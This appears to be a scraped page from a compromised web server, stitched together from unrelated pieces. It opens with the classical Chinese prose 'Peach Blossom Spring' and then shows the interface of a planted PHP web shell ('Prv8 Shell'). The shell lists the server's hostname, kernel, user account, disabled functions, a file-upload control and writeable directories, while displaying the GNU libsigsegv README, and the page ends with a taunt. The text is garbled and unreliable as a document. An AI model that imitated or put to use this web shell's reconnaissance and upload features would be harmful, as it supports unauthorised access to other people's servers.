晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/libsigsegv/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/libsigsegv/README
           GNU libsigsegv  -  Handling page faults in user mode

This is a library for handling page faults in user mode. A page fault
occurs when a program tries to access to a region of memory that is
currently not available. Catching and handling a page fault is a useful
technique for implementing:

  - pageable virtual memory,
  - memory-mapped access to persistent databases,
  - generational garbage collectors,
  - stack overflow handlers,
  - distributed shared memory,
  - ...

This library supports three sets of functions, all defined in <sigsegv.h>:

  - Global SIGSEGV handlers:
    sigsegv_install_handler, sigsegv_deinstall_handler.

  - Local SIGSEGV handlers (a handler per memory area):
    sigsegv_init, sigsegv_register, sigsegv_unregister, sigsegv_dispatch.

  - Stack overflow handlers:
    stackoverflow_install_handler, stackoverflow_deinstall_handler.

Each of the three APIs can be used independently or simultaneously.
For examples of the use of the APIs, see:

  - Global SIGSEGV handlers: see tests/sigsegv1.c.
  - Local SIGSEGV handlers: see tests/sigsegv2.c.
  - Stack overflow handlers: see tests/stackoverflow1.c.


About portability.

Some platforms don't support this functionality. In <sigsegv.h>, the
preprocessor macro HAVE_SIGSEGV_RECOVERY will be defined if global and
local SIGSEGV handlers are available, and the preprocessor macro
HAVE_STACK_OVERFLOW_RECOVERY will be defined if stack overflow handlers
are available. Note that the declared functions are available in all cases;
on platforms where HAVE_SIGSEGV_RECOVERY or HAVE_STACK_OVERFLOW_RECOVERY is
not defined, they will simply always return an error code or do nothing.

The list of platforms where this library is known to work is contained in
the file PORTING.


About pageable virtual memory.

Pageable virtual memory is usually done in the operating system's kernel.
This library helps in implementing the others.

Installing a page fault handler is usually more efficient than doing
access checks in software at every access, because it's effectively the
hardware (the MMU) which checks whether a page is present or not.

Note that if you use system calls (like read()) to write into write-
protected pages, the system will react by returning -1 and setting
errno to EFAULT, instead of signalling SIGSEGV and restarting the system
call. In this case, the program has to do what the SIGSEGV handler would
do, and then restart the read() operation. Some buggy systems (SunOS 4)
go into an endless loop on this occasion; on these systems you have to
make sure that an area is writable _before_ you call read() on it,


About stack overflow handlers.

In some applications, the stack overflow handler performs some cleanup or
notifies the user and then immediately terminates the application.  In
other applications, the stack overflow handler longjmps back to a central
point in the application.  This library supports both uses.  In the second
case, the handler must ensure to restore the normal signal mask (because
many signals are blocked while the handler is executed), and must also
call sigsegv_leave_handler() to transfer control; then only it can longjmp
away.

Note that longjmping back to a central point in the application can leave
the application in an inconsistent state, because
  1) no cleanup is executed for call frames that are being unwound,
  2) the code being executed while the stack overflow occurred might leave
     data structures in an intermediate, inconsistent state.
If you want to avoid the first problem, you need to restructure your
application into three or more threads:
  - a main thread, which creates the other threads,
  - worker threads, which may cause stack overflows, and in which all
    cleanups are registered through the pthread_cleanup_push function,
  - a handler thread, which contains the handler for stack overflow and
    other kinds of SIGSEGV. The handler will call pthread_cancel on the
    worker thread whose stack overflowed.
You will need to use the function pthread_sigmask on all threads except
the handler thread, in order to ensure that the SIGSEGV signal gets handled
in the designated handler thread.
If you want to avoid the second problem together with the first problem,
you need to enclose code that manipulates data structures in a way that is
not safe to be interrupted within calls to pthread_setcancelstate() or
pthread_setcanceltype().
If you want to avoid just the second problem, you need to manipulate all data
structures in a way that is safe to be interrupted at any moment and also
compile your program with the gcc flag -fnon-call-exceptions.


About shared libraries.

This library builds as a static library by default.  This seems useful
because of the small size of the library (4 KB).  Of course, you can build
it as a shared library by specifying the configure option '--enable-shared'.


Installation
------------

Installation instructions on Unix:

        ./configure [OPTIONS]
        make
        make check
        make install

Installation instructions on Microsoft Windows:

        See README.windows.


Using libsigsegv in your package:
  - For the APIs, see the comments in the <sigsegv.h> file (generated from
    src/sigsegv.h.in).
  - An autoconf macro for determining where libsigsegv is installed and how to
    link with it is part of GNU gnulib, see
    <https://www.gnu.org/software/gnulib/MODULES.html#module=libsigsegv>


Copyright notice
----------------

Copyright 1998-1999, 2002-2012, 2016-2017  Bruno Haible <bruno@clisp.org>
Copyright 2002-2005, 2009  Paolo Bonzini <bonzini@gnu.org>
Copyright 2008-2010  Eric Blake <ebb9@byu.net>

This is free software distributed under the GNU General Public Licence v2
described in the file COPYING or (at your option) any later version.
There is ABSOLUTELY NO WARRANTY, explicit or implied, on this software.


Download
--------

    https://haible.de/bruno/gnu/libsigsegv-2.11.tar.gz
    https://ftp.gnu.org/gnu/libsigsegv/libsigsegv-2.11.tar.gz

Homepage
--------

    https://www.gnu.org/software/libsigsegv/
    https://savannah.gnu.org/projects/libsigsegv
    http://libsigsegv.sourceforge.net/ (old)

Bug reports to
--------------

    <bug-libsigsegv@gnu.org>

haha - 2025